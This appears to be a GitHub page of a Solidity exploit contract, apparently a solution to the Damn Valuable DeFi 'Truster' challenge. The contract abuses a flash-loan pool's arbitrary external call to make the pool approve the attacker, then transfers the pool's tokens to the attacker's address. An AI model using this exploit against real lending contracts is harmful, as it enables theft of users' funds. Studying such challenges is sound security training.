-
Notifications
You must be signed in to change notification settings - Fork 2
/
AttackerContract.sol
46 lines (41 loc) · 1.02 KB
/
AttackerContract.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface ITrustedLenderPool {
function flashLoan(
uint256 borrowAmount,
address borrower,
address target,
bytes calldata data
) external;
}
interface IDamnValuableToken {
function transferFrom(
address sender,
address recipient,
uint256 amount
) external;
}
contract AttackerContract {
constructor(
address _token,
address _pool,
address _attacker,
uint256 _amount
) {
exploit(_token, _pool, _attacker, _amount);
}
function exploit(
address _token,
address _pool,
address _attacker,
uint256 _amount
) internal {
bytes memory data = abi.encodeWithSignature(
"approve(address,uint256)",
address(this),
_amount
);
ITrustedLenderPool(_pool).flashLoan(0, address(this), _token, data);
IDamnValuableToken(_token).transferFrom(_pool, _attacker, _amount);
}
}